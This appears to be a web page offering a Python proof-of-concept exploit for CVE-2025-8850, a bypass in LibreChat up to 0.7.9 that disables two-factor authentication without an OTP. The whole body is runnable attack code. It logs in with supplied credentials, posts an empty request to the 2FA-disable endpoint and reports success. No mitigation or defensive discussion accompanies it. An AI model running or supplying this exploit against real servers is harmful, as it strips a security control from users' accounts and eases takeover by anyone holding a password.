CVE-2025-8850 LibreChat 2FA禁用API安全绕过漏洞

import requests import json # CVE-2025-8850 PoC - LibreChat 2FA Disable Bypass # Target: danny-avila/librechat <= 0.7.9 TARGET_URL = "http://target-server.com" # Replace with target URL LOGIN_URL = f"{TARGET_URL}/api/auth/login" DISABLE_2FA_URL = f"{TARGET_URL}/api/auth/2fa/disable" def exploit_cve_2025_8850(username, password): """ Exploit: 2FA disable without valid OTP/backup code Attack vector: Direct API call to /api/auth/2fa/disable """ session = requests.Session() # Step 1: Login to get valid session login_data = { "email": username, "password": password } login_response = session.post(LOGIN_URL, json=login_data) if login_response.status_code != 200: print(f"[-] Login failed: {login_response.status_code}") return False print("[+] Login successful, got valid session") # Step 2: Disable 2FA without OTP (VULNERABLE CODE) # The API should require valid OTP or backup code, but it doesn't disable_payload = { # Intentionally NOT providing OTP or backup_code # This should fail but due to the vulnerability, it succeeds } disable_response = session.post(DISABLE_2FA_URL, json=disable_payload) if disable_response.status_code == 200: print("[+] SUCCESS: 2FA has been disabled without OTP!") print(f"[+] Response: {disable_response.json()}") return True else: print(f"[-] Failed: {disable_response.status_code}") print(f"[-] Response: {disable_response.text}") return False if __name__ == "__main__": # Usage example username = "[email protected]" password = "password123" exploit_cve_2025_8850(username, password)